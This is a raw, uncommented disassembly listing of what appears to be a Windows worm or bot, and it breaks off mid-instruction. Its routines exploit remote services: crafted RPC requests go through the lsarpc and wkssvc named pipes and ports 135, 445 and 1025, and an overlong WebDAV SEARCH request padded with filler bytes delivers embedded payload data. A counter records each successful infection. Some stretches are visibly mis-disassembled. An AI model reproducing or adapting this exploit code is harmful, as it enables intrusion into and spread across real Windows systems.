mov [ebp+var_8], eax loc_40E403: ; CODE XREF: sub_40E268+1CCj sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd lea ecx, [ebp+var_34] push ecx push dword ptr [eax] call sub_40E201 add esp, 0C4h cmp eax, 1 jz short loc_40E436 mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax cmp [eax], ebx jnz short loc_40E403 loc_40E436: ; CODE XREF: sub_40E268+189j ; sub_40E268+191j ... push 1 pop eax loc_40E439: ; CODE XREF: sub_40E268+A1j pop edi pop esi pop ebx leave retn sub_40E268 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E43E proc near ; CODE XREF: seg000:0040E67Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] lea eax, [esi+esi] cmp [ebp+arg_C], eax jnb short loc_40E452 or eax, 0FFFFFFFFh jmp short loc_40E471 ; --------------------------------------------------------------------------- loc_40E452: ; CODE XREF: sub_40E43E+Dj xor ecx, ecx test esi, esi jbe short loc_40E46E mov eax, [ebp+arg_8] loc_40E45B: ; CODE XREF: sub_40E43E+2Ej mov edx, [ebp+arg_0] mov dl, [ecx+edx] mov [eax], dl and byte ptr [eax+1], 0 inc ecx inc eax inc eax cmp ecx, esi jb short loc_40E45B loc_40E46E: ; CODE XREF: sub_40E43E+18j mov eax, [ebp+arg_C] loc_40E471: ; CODE XREF: sub_40E43E+12j pop esi pop ebp retn sub_40E43E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10A8h call sub_41DEB0 push ebx push esi push edi lea eax, [ebp+0Ch] push 1 push eax call sub_417569 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E6E1 push 0FDE8h push 539h call sub_41801E pop ecx mov [ebp-0Ch], eax pop ecx push eax call ds:dword_4514F4 movzx eax, ax xor eax, 9999h push 2 mov [ebp-10h], eax lea eax, [ebp-10h] push eax push offset dword_446D8C call sub_41E840 mov eax, esi add esp, 0Ch dec eax dec eax jz loc_40E5AF push 8522h mov dword ptr [ebp-8], 8520h call sub_41FD90 xor ebx, ebx mov esi, eax mov dword ptr [esp], 8521h push ebx push esi call sub_41D100 push 24h push offset dword_446EF4 push esi call sub_41E840 lea edi, [esi+24h] mov ecx, 1FFAh mov eax, 1004600h push 2 rep stosd lea eax, [esi+7FF4h] push ebx push eax call sub_41D100 push 4FAh lea eax, [esi+7FF6h] push offset dword_4473E4 push eax call sub_41E840 mov eax, 4001h push 5 mov [esi+18h], eax mov [esi+20h], eax lea eax, [esi+7E0h] push offset dword_446E78 push eax mov dword ptr [esi+8], 8520h mov dword ptr [esi+10h], 84F0h call sub_41E840 lea eax, [esi+24h] add esp, 3Ch mov edi, eax mov dword ptr [ebp-4], 1AAh loc_40E57E: ; CODE XREF: seg000:0040E592j push 1 push 90h push edi call sub_41D100 add esp, 0Ch inc edi dec dword ptr [ebp-4] jnz short loc_40E57E push 195h lea eax, [esi+3Ch] push offset loc_446CDC push eax call sub_41E840 add esp, 0Ch jmp loc_40E6AE ; --------------------------------------------------------------------------- loc_40E5AF: ; CODE XREF: seg000:0040E4D9j push 24F2h mov dword ptr [ebp-8], 24F0h call sub_41FD90 xor ebx, ebx mov esi, eax mov dword ptr [esp], 24F1h push ebx push esi call sub_41D100 push 24h push offset dword_446ED0 push esi call sub_41E840 lea edi, [esi+24h] mov ecx, 800h mov eax, offset loc_410041 push 2 rep stosd lea eax, [esi+2024h] push ebx push eax call sub_41D100 push 4CAh lea eax, [esi+2026h] push offset dword_446F18 push eax call sub_41E840 mov eax, 1001h push 4 mov [esi+18h], eax mov [esi+20h], eax lea eax, [esi+1654h] push offset dword_446E74 push eax mov dword ptr [esi+8], 24F0h mov dword ptr [esi+10h], 24C0h call sub_41E840 push 8 lea eax, [esi+165Ch] push offset off_446E80 push eax call sub_41E840 add esp, 48h mov edi, 32Ah push edi call sub_41FD90 push edi push ebx push eax mov [ebp-4], eax call sub_41D100 push edi mov edi, [ebp-4] push edi push 195h push offset loc_446CDC call sub_40E43E add esp, 20h cmp eax, 0FFFFFFFFh jnz short loc_40E693 push edi call sub_41FCE0 pop ecx loc_40E68E: ; CODE XREF: seg000:0040E898j push 1 pop eax jmp short loc_40E6E3 ; --------------------------------------------------------------------------- loc_40E693: ; CODE XREF: seg000:0040E685j push 328h lea eax, [esi+1664h] push edi push eax call sub_41E840 push edi call sub_41FCE0 add esp, 10h loc_40E6AE: ; CODE XREF: seg000:0040E5AAj cmp dword ptr [ebp+0A8h], 87h jz loc_40E7B3 cmp dword ptr [ebp+0A8h], 1BDh jz short loc_40E6E8 cmp dword ptr [ebp+0A8h], 401h jz loc_40E7B3 loc_40E6DA: ; CODE XREF: seg000:0040E6F9j ; seg000:0040E7E6j ... push esi call sub_41FCE0 loc_40E6E0: ; CODE XREF: seg000:0040E78Dj pop ecx loc_40E6E1: ; CODE XREF: seg000:0040E496j ; seg000:0040E87Dj xor eax, eax loc_40E6E3: ; CODE XREF: seg000:0040E691j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40E6E8: ; CODE XREF: seg000:0040E6C8j lea eax, [ebp-44h] push eax lea eax, [ebp+0Ch] push eax call sub_40A958 pop ecx test eax, eax pop ecx jz short loc_40E6DA lea eax, [ebp+0Ch] push eax lea eax, [ebp-0A8h] push offset aSPipeLsarpc ; "\\\\%s\\pipe\\lsarpc" push eax call sub_41D260 add esp, 0Ch lea eax, [ebp-0A8h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call ds:dword_4F1380 ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40E77D lea eax, [ebp-4] push ebx push eax lea eax, [ebp-10A8h] push 1000h push eax push 48h push offset dword_446E88 push edi call near ptr 3D0000h dec esi cmp byte ptr [ebp-10A6h], 0Ch jz short loc_40E762 push edi jmp short near ptr loc_40E776+1 ; --------------------------------------------------------------------------- loc_40E762: ; CODE XREF: seg000:0040E75Dj lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-8] push esi push edi call near ptr 3D0000h mov eax, 7557C085h loc_40E776: ; CODE XREF: seg000:0040E760j sbb edi, edi adc eax, offset dword_4F12FC loc_40E77D: ; CODE XREF: seg000:0040E735j lea eax, [ebp+0Ch] push eax call sub_40AA3E push esi call sub_41FCE0 pop ecx jmp loc_40E6E0 ; --------------------------------------------------------------------------- call ds:dword_4F12FC ; CloseHandle lea eax, [ebp+0Ch] push eax call sub_40AA3E push esi call sub_41FCE0 pop ecx pop ecx push 1F4h jmp loc_40E857 ; --------------------------------------------------------------------------- loc_40E7B3: ; CODE XREF: seg000:0040E6B8j ; seg000:0040E6D4j lea eax, [ebp+0Ch] mov word ptr [ebp-24h], 2 push eax call ds:dword_451530 push dword ptr [ebp+0A8h] mov [ebp-20h], eax call ds:dword_4514F4 push ebx push 1 push 2 mov [ebp-22h], ax call ds:dword_451570 mov edi, eax cmp edi, 0FFFFFFFFh jz loc_40E6DA lea eax, [ebp-24h] push 10h push eax push edi call ds:dword_45149C cmp eax, 0FFFFFFFFh jz loc_40E6DA push ebx push 48h push offset dword_446E88 push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_40E6DA push ebx lea eax, [ebp-10A8h] push 2710h push eax push edi call ds:dword_45150C push ebx push dword ptr [ebp-8] push esi push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_40E6DA push edi call ds:dword_451588 push esi call sub_41FCE0 mov dword ptr [esp], 1F4h loc_40E857: ; CODE XREF: seg000:0040E7AEj call ds:dword_4F12F4 ; Sleep push dword ptr [ebp-0Ch] lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_417E0E add esp, 0C0h cmp al, 1 jnz loc_40E6E1 mov eax, [ebp+0B0h] shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] jmp loc_40E68E ; =============== S U B R O U T I N E ======================================= sub_40E89D proc near ; CODE XREF: seg000:0040EA31p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push esi call sub_41AC70 pop ecx mov ecx, [esp+4+arg_0] lea ecx, [ecx+eax*2-1] loc_40E8B1: ; CODE XREF: sub_40E89D+25j mov edx, eax dec eax test edx, edx jz short loc_40E8C4 and byte ptr [ecx], 0 mov dl, [eax+esi] dec ecx mov [ecx], dl dec ecx jmp short loc_40E8B1 ; --------------------------------------------------------------------------- loc_40E8C4: ; CODE XREF: sub_40E89D+19j pop esi retn sub_40E89D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 25A8h call sub_41DEB0 push ebx push esi lea eax, [ebp-11A8h] push edi push eax push 2 call ds:dword_4F14DC ; WSAStartup xor ebx, ebx push ebx push 1 push 2 call ds:dword_451570 mov edi, eax cmp edi, ebx mov [ebp-8], edi jl loc_40EC36 push 1BDh mov word ptr [ebp-18h], 2 call ds:dword_4514F4 mov [ebp-16h], ax lea eax, [ebp+0Ch] push eax call ds:dword_451530 mov [ebp-14h], eax push 8 lea eax, [ebp-10h] push ebx push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-18h] push 10h push eax push edi call ds:dword_45149C test eax, eax jl loc_40EC36 push ebx push 89h push offset dword_4478F4 push edi call ds:dword_451540 test eax, eax jl loc_40EC36 mov esi, 1000h push ebx lea eax, [ebp-25A8h] push esi push eax push edi call ds:dword_45150C cmp eax, 0Ah jle loc_40EC36 cmp [ebp-259Fh], bl jnz loc_40EC36 push ebx push 0A8h push offset dword_447980 push edi call ds:dword_451540 test eax, eax jl loc_40EC36 push ebx lea eax, [ebp-25A8h] push esi push eax push edi call ds:dword_45150C cmp eax, 0Ah jle loc_40EC36 push ebx push 0DEh push offset dword_447A2C push edi call ds:dword_451540 test eax, eax jl loc_40EC36 push ebx lea eax, [ebp-25A8h] push esi push eax push edi call ds:dword_45150C cmp eax, 0Ah jle loc_40EC36 cmp [ebp-259Fh], bl jnz loc_40EC36 push 30h lea eax, [ebp-1018h] push offset dword_447B0C push eax call sub_41E840 lea eax, [ebp+0Ch] push eax lea eax, [ebp-15A8h] push offset dword_447EFC push eax call sub_41D260 lea eax, [ebp-15A8h] push eax lea eax, [ebp-0FE8h] push eax call sub_40E89D lea eax, [ebp-15A8h] push eax call sub_41AC70 shl eax, 1 movzx ecx, ax add eax, 9 push 1 mov [ebp-4], eax lea eax, [ebp-4] push eax lea eax, [ebp-0FEBh] push eax lea edi, [ebp+ecx-0FE8h] call sub_41E840 push 8 push offset dword_447B40 push edi call sub_41E840 add edi, 8 lea ecx, [ebp-1018h] mov ax, di push 1 sub ax, cx sub eax, 4 mov [ebp-4], eax lea eax, [ebp-4] push eax lea eax, [ebp-1015h] push eax call sub_41E840 add esp, 48h lea eax, [ebp-1018h] sub edi, eax lea eax, [ebp-1018h] push ebx push edi mov edi, [ebp-8] push eax push edi call ds:dword_451540 test eax, eax jl loc_40EC36 push ebx lea eax, [ebp-25A8h] push esi push eax push edi call ds:dword_45150C cmp eax, 0Ah jle loc_40EC36 cmp [ebp-259Fh], bl jnz loc_40EC36 push ebx push 6Ah push offset dword_447B4C push edi call ds:dword_451540 test eax, eax jl loc_40EC36 push ebx lea eax, [ebp-25A8h] push esi push eax push edi call ds:dword_45150C cmp eax, 0Ah jle loc_40EC36 cmp [ebp-259Fh], bl jnz loc_40EC36 push ebx push 0A0h push offset dword_447BB8 push edi call ds:dword_451540 test eax, eax jl loc_40EC36 push ebx lea eax, [ebp-25A8h] push esi push eax push edi call ds:dword_45150C cmp eax, 0Ah jle loc_40EC36 cmp [ebp-259Fh], bl jnz loc_40EC36 push esi lea eax, [ebp-1018h] push 0FFFFFF90h push eax call sub_41D100 push 130h lea eax, [ebp-1018h] push offset dword_447C5C push eax call sub_41E840 add esp, 18h push 4E1Ah call ds:dword_4514F4 mov ds:word_447E5A, ax push 158h lea eax, [ebp-0EE8h] push offset dword_447DA0 push eax call sub_41E840 push 0Ch lea eax, [ebp-790h] push offset dword_447D90 push eax call sub_41E840 add esp, 18h lea eax, [ebp-1018h] push ebx push 894h push eax push edi call ds:dword_451540 test eax, eax jl short loc_40EC36 push ebx lea eax, [ebp-25A8h] push esi push eax push edi call ds:dword_45150C push 12Ch call ds:dword_4F12F4 ; Sleep push 4A2Dh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_417E0E add esp, 0C0h test al, al jz short loc_40EC36 mov eax, [ebp+0B0h] push 1 shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] pop eax jmp short loc_40EC38 ; --------------------------------------------------------------------------- loc_40EC36: ; CODE XREF: seg000:0040E8F9j ; seg000:0040E93Fj ... xor eax, eax loc_40EC38: ; CODE XREF: seg000:0040EC34j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC3D proc near ; CODE XREF: seg000:0040EDCFp ; seg000:0040EDEDp var_210 = byte ptr -210h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 210h push esi xor esi, esi cmp [ebp+arg_BC], esi push edi jnz short loc_40EC6C push 4 push offset dword_447F08 push offset byte_447F4D call sub_41E840 push 4 push offset dword_447F10 jmp short loc_40EC91 ; --------------------------------------------------------------------------- loc_40EC6C: ; CODE XREF: sub_40EC3D+13j cmp [ebp+arg_BC], 1 jnz loc_40EDB4 push 4 push offset dword_447F18 push offset byte_447F4D call sub_41E840 push 4 push offset dword_447F20 loc_40EC91: ; CODE XREF: sub_40EC3D+2Dj push offset aRrrrrrrrrrrrrr ; ""... call sub_41E840 add esp, 18h push offset byte_43CCBC push [ebp+arg_0] call sub_402617 pop ecx push eax lea eax, [ebp+var_210] push 200h push eax call sub_408BB0 add esp, 10h test eax, eax jz loc_40EDB4 push esi push 1 push 2 call ds:dword_451570 mov edi, eax cmp edi, 0FFFFFFFFh jz loc_40EDB4 push 10h lea eax, [ebp+var_10] push esi push eax call sub_41D100 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_A0] call ds:dword_4514F4 mov [ebp+var_E], ax lea eax, [ebp+arg_4] push eax call ds:dword_451530 mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call ds:dword_45149C cmp eax, 0FFFFFFFFh jz loc_40EDAD push esi push 85h push offset dword_447F28 push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40EDAD mov esi, ds:dword_4F12F4 push 0Ah call esi ; dword_4F12F4 and [ebp+arg_BC], 0 loc_40ED4F: ; CODE XREF: sub_40EC3D+146j lea eax, [ebp+var_210] push 0 push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_210] push eax push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40EDAD push 0Ah call esi ; dword_4F12F4 inc [ebp+arg_BC] cmp [ebp+arg_BC], 7 jl short loc_40ED4F push 3E8h call esi ; dword_4F12F4 push edi call ds:dword_451588 mov eax, [ebp+arg_A8] push 1 shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] pop eax jmp short loc_40EDB6 ; --------------------------------------------------------------------------- loc_40EDAD: ; CODE XREF: sub_40EC3D+E4j ; sub_40EC3D+FFj ... push edi call ds:dword_451588 loc_40EDB4: ; CODE XREF: sub_40EC3D+36j ; sub_40EC3D+86j ... xor eax, eax loc_40EDB6: ; CODE XREF: sub_40EC3D+16Ej pop edi pop esi leave retn sub_40EC3D endp ; --------------------------------------------------------------------------- push esi push edi push 0 lea esi, [esp+10h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40EC3D add esp, 0C0h lea esi, [esp+0Ch] push 1 sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40EC3D add esp, 0C0h push 1 pop eax pop edi pop esi retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push dword ptr [ebp+8] call ds:dword_4F14F0 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40EE35 push dword ptr [ebp+8] call ds:dword_4F14D8 ; gethostbyname test eax, eax jnz short loc_40EE22 leave retn ; --------------------------------------------------------------------------- loc_40EE22: ; CODE XREF: seg000:0040EE1Ej mov eax, [eax+0Ch] push 4 push dword ptr [eax] lea eax, [ebp-4] push eax call sub_41E840 add esp, 0Ch loc_40EE35: ; CODE XREF: seg000:0040EE11j mov eax, [ebp-4] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE3A proc near ; CODE XREF: seg000:0040F02Ap var_23950 = byte ptr -23950h var_100D0 = byte ptr -100D0h var_100CF = byte ptr -100CFh var_FFB5 = byte ptr -0FFB5h var_FFB4 = byte ptr -0FFB4h var_6D0 = byte ptr -6D0h var_D0 = byte ptr -0D0h var_CC = byte ptr -0CCh var_44 = byte ptr -44h var_43 = byte ptr -43h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp mov eax, 23950h call sub_41DEB0 mov al, ds:byte_4E260C push ebx push esi push edi push 0Ch mov [ebp+var_44], al pop ecx xor eax, eax lea edi, [ebp+var_43] push 22h rep stosd stosb mov al, ds:byte_4E2610 mov ecx, 3FFFh mov [ebp+var_100D0], al xor eax, eax lea edi, [ebp+var_100CF] mov esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"... rep stosd stosw stosb pop ecx lea edi, [ebp+var_CC] push [ebp+arg_8] rep movsd call ds:dword_4F14D4 ; ntohs push [ebp+arg_4] xor eax, 8080h mov ds:word_44809F, ax call ds:dword_4514F4 push [ebp+arg_0] mov [ebp+var_E], ax mov [ebp+var_10], 2 call ds:dword_451530 xor ebx, ebx mov [ebp+var_C], eax push ebx push 1 push 2 call ds:dword_451570 mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+arg_8], esi jnz short loc_40EEDC push 1 pop eax jmp loc_40F007 ; --------------------------------------------------------------------------- loc_40EEDC: ; CODE XREF: sub_40EE3A+98j lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_45149C cmp eax, 0FFFFFFFFh jnz short loc_40EEF5 or eax, eax jmp loc_40F007 ; --------------------------------------------------------------------------- loc_40EEF5: ; CODE XREF: sub_40EE3A+B2j mov ecx, 4000h mov eax, 43434343h lea edi, [ebp+var_100D0] rep stosd xor eax, eax loc_40EF09: ; CODE XREF: sub_40EE3A+F0j cmp eax, 22Dh jnb short loc_40EF2C mov cl, ds:byte_447FD0[eax] mov [ebp+eax+var_6D0], cl inc eax lea ecx, [eax+0FA00h] cmp ecx, 10000h jb short loc_40EF09 loc_40EF2C: ; CODE XREF: sub_40EE3A+D4j mov al, [ebp+arg_C] push 13880h mov [ebp+var_FFB5], al mov al, [ebp+arg_10] mov [ebp+var_FFB4], al lea eax, [ebp+var_23950] push ebx push eax mov [ebp+var_D0], bl call sub_41D100 push 32h lea eax, [ebp+var_44] push ebx push eax call sub_41D100 push [ebp+arg_0] lea eax, [ebp+var_100D0] push eax lea eax, [ebp+var_23950] push offset aSearchSHttp1_1 ; "SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-"... push eax call sub_41D260 lea eax, [ebp+var_CC] push eax call sub_41AC70 push eax lea eax, [ebp+var_23950] push eax lea eax, [ebp+var_23950] push offset aSD ; "%s%d\r\n\r\n" push eax call sub_41D260 add esp, 3Ch lea eax, [ebp+var_23950] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_23950] push eax push esi mov esi, ds:dword_4F14E8 call esi ; dword_4F14E8 lea eax, [ebp+var_CC] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_CC] push eax push [ebp+arg_8] call esi ; dword_4F14E8 push ebx lea eax, [ebp+var_44] push 32h push eax push [ebp+arg_8] call ds:dword_45150C cmp [ebp+var_44], bl jz short loc_40EFF9 or esi, 0FFFFFFFFh jmp short loc_40EFFC ; --------------------------------------------------------------------------- loc_40EFF9: ; CODE XREF: sub_40EE3A+1B8j push 1 pop esi loc_40EFFC: ; CODE XREF: sub_40EE3A+1BDj push [ebp+arg_8] call ds:dword_451588 mov eax, esi loc_40F007: ; CODE XREF: sub_40EE3A+9Dj ; sub_40EE3A+B6j pop edi pop esi pop ebx leave retn sub_40EE3A endp ; --------------------------------------------------------------------------- push esi push edi mov edi, offset dword_448200 mov esi, 83h loc_40F018: ; CODE XREF: seg000:0040F040j push dword ptr [edi+4] lea eax, [esp+14h] push dword ptr [edi] push esi push dword ptr [esp+0B8h] push eax call sub_40EE3A add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_40F089 add edi, 8 cmp edi, offset dword_448260 jle short loc_40F018 push 1F4h call ds:dword_4F12F4 ; Sleep push esi lea esi, [esp+10h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_417E0E add esp, 0C0h cmp al, 1 jnz short loc_40F089 mov eax, [esp+0B4h] push 1 shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] pop eax jmp short loc_40F08B ; --------------------------------------------------------------------------- loc_40F089: ; CODE XREF: seg000:0040F035j ; seg000:0040F06Cj xor eax, eax loc_40F08B: ; CODE XREF: seg000:0040F087j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40F08E proc near ; CODE XREF: sub_40F19D+C9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi xor esi, esi cmp [esp+4+arg_4], esi jbe short loc_40F0BD mov edx, [esp+4+arg_8] loc_40F09B: ; CODE XREF: sub_40F08E+2Dj mov eax, [esp+4+arg_0] mov cl, [esi+eax] mov al, cl and cl, 0Fh shr al, 4 add cl, 41h add al, 41h mov [edx], cl mov [edx+1], al inc esi inc edx inc edx cmp esi, [esp+4+arg_4] jb short loc_40F09B loc_40F0BD: ; CODE XREF: sub_40F08E+7j pop esi retn sub_40F08E endp ; --------------------------------------------------------------------------- loc_40F0BF: ; CODE XREF: seg000:0040F18Cp ; sub_40F19D+45Fp push ebp mov ebp, esp push ecx push ecx cmp byte ptr [ebp+30h], 0 push ebx push esi push edi jz short loc_40F0D3 or byte ptr [ebp+0Fh], 1 jmp short loc_40F0D7 ; --------------------------------------------------------------------------- loc_40F0D3: ; CODE XREF: seg000:0040F0CBj and byte ptr [ebp+0Fh], 0FEh loc_40F0D7: ; CODE XREF: seg000:0040F0D1j mov ebx, [ebp+28h] mov eax, [ebp+2Ch] lea ecx, [ebx+18h] cmp ecx, eax ja short loc_40F0F8 or byte ptr [ebp+0Fh], 2 and byte ptr [ebp+33h], 0 lea eax, [ebx+18h] mov [ebp+1Ch], ebx mov [ebp+14h], ax jmp short loc_40F10A ; --------------------------------------------------------------------------- loc_40F0F8: ; CODE XREF: seg000:0040F0E2j mov [ebp+14h], ax add eax, 0FFFFFFE8h and byte ptr [ebp+0Fh], 0FDh mov [ebp+1Ch], eax mov byte ptr [ebp+33h], 1 loc_40F10A: ; CODE XREF: seg000:0040F0F6j movzx eax, word ptr [ebp+14h] push eax mov [ebp-4], eax call sub_41AE40 test eax, eax pop ecx mov [ebp+28h], eax jnz short loc_40F123 loc_40F11F: ; CODE XREF: seg000:0040F163j xor al, al jmp short loc_40F198 ; --------------------------------------------------------------------------- loc_40F123: ; CODE XREF: seg000:0040F11Dj push 6 lea esi, [ebp+0Ch] pop ecx mov edi, eax rep movsd mov edi, [ebp+1Ch] mov esi, [ebp+24h] push edi add eax, 18h push esi push eax call sub_41E840 add esp, 0Ch lea eax, [ebp-8] push 0 push eax push dword ptr [ebp-4] push dword ptr [ebp+28h] push dword ptr [ebp+8] call near ptr 3D0000h jp short near ptr loc_40F155+1 ; CODE XREF: seg000:loc_40F155j jnz short near ptr loc_40F17F+2 test eax, eax jnz short loc_40F165 call sub_41B8B0 pop ecx jmp short loc_40F11F ; --------------------------------------------------------------------------- loc_40F165: ; CODE XREF: seg000:0040F15Bj call sub_41B8B0 cmp byte ptr [ebp+33h], 0 pop ecx jz short loc_40F196 push 0 sub ebx, edi push dword ptr [ebp+2Ch] add edi, esi lea esi, [ebp+0Ch] push ebx push edi loc_40F17F: ; CODE XREF: seg000:0040F157j sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp+8] rep movsd call loc_40F0BF add esp, 2Ch jmp short loc_40F198 ; --------------------------------------------------------------------------- loc_40F196: ; CODE XREF: seg000:0040F16Fj mov al, 1 loc_40F198: ; CODE XREF: seg000:0040F121j ; seg000:0040F194j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F19D proc near ; CODE XREF: seg000:0040F64Bp ; seg000:0040F661p ... var_729F8B40 = dword ptr -729F8B40h var_CC44 = byte ptr -0CC44h var_8C44 = byte ptr -8C44h var_70EC = byte ptr -70ECh var_50EC = byte ptr -50ECh var_30EC = byte ptr -30ECh var_10EC = dword ptr -10ECh var_7F0 = byte ptr -7F0h var_7EB = byte ptr -7EBh var_7AC = byte ptr -7ACh var_340 = byte ptr -340h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_6C = byte ptr -6Ch var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = byte ptr -66h var_65 = byte ptr -65h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = word ptr -5Eh var_5C = dword ptr -5Ch var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = byte ptr -4Ah var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = dword ptr -1Ch var_16 = word ptr -16h var_14 = dword ptr -14h var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 0CC44h call sub_41DEB0 push ebx push esi push edi push 1 pop ebx lea eax, [ebp+arg_8] push ebx push eax call sub_417569 pop ecx cmp eax, 3 pop ecx jz short loc_40F1C8 xor eax, eax jmp loc_40F62E ; --------------------------------------------------------------------------- loc_40F1C8: ; CODE XREF: sub_40F19D+22j xor edi, edi push 2B3h lea eax, [ebp+var_340] push edi push eax call sub_41D100 push 0DACh lea eax, [ebp+var_10EC] push edi push eax call sub_41D100 push 1B58h lea eax, [ebp+var_8C44] push edi push eax call sub_41D100 push 0DABh lea eax, [ebp+var_10EC] push 41h push eax call sub_41D100 mov esi, [ebp+arg_0] push 5 shl esi, 4 push offset aFb ; "fìÐ\a" mov eax, ds:dword_448508[esi] mov ecx, ds:dword_448504[esi] mov [ebp+eax+var_10EC], ecx lea eax, [ebp+var_7F0] push eax call sub_41E840 push 3Fh lea eax, [ebp+var_7EB] push offset sub_4484BC push eax call sub_41E840 add esp, 48h lea eax, [ebp+var_340] push eax push 159h push offset dword_448360 call sub_40F08E lea eax, [ebp+var_340] push eax call sub_41AC70 push eax lea eax, [ebp+var_340] push eax lea eax, [ebp+var_7AC] push eax call sub_41E840 lea eax, [ebp+var_340] push eax call sub_41AC70 and [ebp+eax+var_7AC], 0 add esp, 20h xor ecx, ecx lea eax, [ebp+var_8C44] loc_40F2AA: ; CODE XREF: sub_40F19D+122j movzx dx, byte ptr [ebp+ecx+var_10EC] mov [eax], dx inc ecx inc eax inc eax cmp ecx, 0DACh jb short loc_40F2AA lea eax, [ebp+arg_8] push eax push offset aS_32 ; "\\\\%s" lea eax, [ebp+var_30EC] push 2000h push eax call sub_41D360 lea eax, [ebp+var_30EC] push 2000h push eax lea eax, [ebp+var_CC44] push eax call sub_41FEE0 lea eax, [ebp+arg_8] push offset a__4 ; "." push eax call sub_435D40 add esp, 24h test eax, eax jz short loc_40F355 lea eax, [ebp+arg_8] push eax push offset aSIpc_0 ; "\\\\%s\\ipc$" lea eax, [ebp+var_50EC] push 2000h push eax call sub_41D360 push 20h lea eax, [ebp+var_8C] push edi push eax call sub_41D100 add esp, 1Ch lea eax, [ebp+var_50EC] mov [ebp+var_78], eax lea eax, [ebp+var_8C] push edi push offset dword_4E2618 push offset dword_4E261C push eax call ds:dword_451598 loc_40F355: ; CODE XREF: sub_40F19D+169j lea eax, [ebp+arg_8] push eax push offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc" lea eax, [ebp+var_70EC] push 2000h push eax call sub_41D360 add esp, 10h lea eax, [ebp+var_70EC] push edi push edi push 3 push edi push 3 push 40000000h push eax call ds:dword_4F1380 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40F39A loc_40F393: ; CODE XREF: sub_40F19D+2F3j xor esi, esi jmp loc_40F621 ; --------------------------------------------------------------------------- loc_40F39A: ; CODE XREF: sub_40F19D+1F4j push 48h lea eax, [ebp+var_68] push edi push eax call sub_41D100 and [ebp+var_67], 0 push 10h pop eax mov [ebp+var_68], 5 mov [ebp+var_64], eax push eax lea eax, [ebp+var_48] push offset dword_449668 push eax mov [ebp+var_66], 0Bh mov [ebp+var_65], 3 mov [ebp+var_60], 48h mov [ebp+var_5E], di mov [ebp+var_5C], ebx mov 